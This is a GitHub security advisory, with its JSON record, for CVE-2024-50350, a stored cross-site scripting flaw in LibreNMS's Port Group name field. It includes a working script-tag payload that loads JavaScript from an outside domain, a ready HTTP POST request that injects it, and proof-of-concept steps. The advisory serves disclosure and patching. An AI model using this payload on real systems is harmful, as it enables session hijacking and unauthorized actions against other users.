GHSA-XH4G-C9P6-5JXG

Vulnerability from github – Published: 2024-11-15 15:30 – Updated: 2024-11-15 20:49
VLAI
Summary
LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/app/Http/Controllers/Table/EditPortsController.php
Details

Summary

A Stored Cross-Site Scripting (XSS) vulnerability in the "Port Settings" page allows authenticated users to inject arbitrary JavaScript through the "name" parameter when creating a new Port Group. This vulnerability results in the execution of malicious code when the "Port Settings" page is visited after the affected Port Group is added to a device, potentially compromising user sessions and allowing unauthorized actions.

Details

When creating a new "Port Group," an attacker can inject the following XSS payload into the "name" parameter: <script/src=//15.rs></script>

Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.

The payload triggers when the affected Port Group is added to a device and the "Port Settings" page is reloaded. The vulnerability is due to insufficient sanitization of the "name" parameter. The sink responsible for this issue is: https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/app/Http/Controllers/Table/EditPortsController.php#L69

PoC

  1. Create a new Port Group using the following payload in the "name" parameter: name<script/src=//15.rs></script>
  2. Add the Port Group to a device's port settings.
  3. Reload the "Port Settings" page.
  4. Observe that the injected script executes.

Example Request:

POST /port-groups HTTP/1.1
Host: <your_host>
Content-Type: application/x-www-form-urlencoded
Cookie: <your_cookie>

_token=<your_token>&name=name<script/src=//15.rs></script>&desc=descr<script/src=//15.rs></script>

Impact

This vulnerability allows authenticated users to inject and execute arbitrary JavaScript in the context of other users' sessions when they visit the "Port Settings" page of a device. This could result in the compromise of user accounts and unauthorized actions performed on their behalf.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 24.9.1"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "librenms/librenms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "24.10.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-50350"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-11-15T15:30:05Z",
    "nvd_published_at": "2024-11-15T16:15:35Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nA Stored Cross-Site Scripting (XSS) vulnerability in the \"Port Settings\" page allows authenticated users to inject arbitrary JavaScript through the \"name\" parameter when creating a new Port Group. This vulnerability results in the execution of malicious code when the \"Port Settings\" page is visited after the affected Port Group is added to a device, potentially compromising user sessions and allowing unauthorized actions.\n\n### Details\nWhen creating a new \"Port Group,\" an attacker can inject the following XSS payload into the \"name\" parameter:\n```\u003cscript/src=//15.rs\u003e\u003c/script\u003e```\n\nNote: The payload uses the \"15.rs\" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.\n\nThe payload triggers when the affected Port Group is added to a device and the \"Port Settings\" page is reloaded. The vulnerability is due to insufficient sanitization of the \"name\" parameter. The sink responsible for this issue is:\nhttps://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/app/Http/Controllers/Table/EditPortsController.php#L69\n\n### PoC\n1. Create a new Port Group using the following payload in the \"name\" parameter:\n```name\u003cscript/src=//15.rs\u003e\u003c/script\u003e```\n2. Add the Port Group to a device\u0027s port settings.\n3. Reload the \"Port Settings\" page.\n4. Observe that the injected script executes.\n\nExample Request:\n```http\nPOST /port-groups HTTP/1.1\nHost: \u003cyour_host\u003e\nContent-Type: application/x-www-form-urlencoded\nCookie: \u003cyour_cookie\u003e\n\n_token=\u003cyour_token\u003e\u0026name=name\u003cscript/src=//15.rs\u003e\u003c/script\u003e\u0026desc=descr\u003cscript/src=//15.rs\u003e\u003c/script\u003e\n```\n\n### Impact\n\nThis vulnerability allows authenticated users to inject and execute arbitrary JavaScript in the context of other users\u0027 sessions when they visit the \"Port Settings\" page of a device. This could result in the compromise of user accounts and unauthorized actions performed on their behalf.",
  "id": "GHSA-xh4g-c9p6-5jxg",
  "modified": "2024-11-15T20:49:50Z",
  "published": "2024-11-15T15:30:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/librenms/librenms/security/advisories/GHSA-xh4g-c9p6-5jxg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-50350"
    },
    {
      "type": "WEB",
      "url": "https://github.com/librenms/librenms/commit/82a744bfe29017b8b58b5752ab9e1b335bedf0a0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/librenms/librenms"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LibreNMS has a Stored XSS (\u0027Cross-site Scripting\u0027) in librenms/app/Http/Controllers/Table/EditPortsController.php"
}



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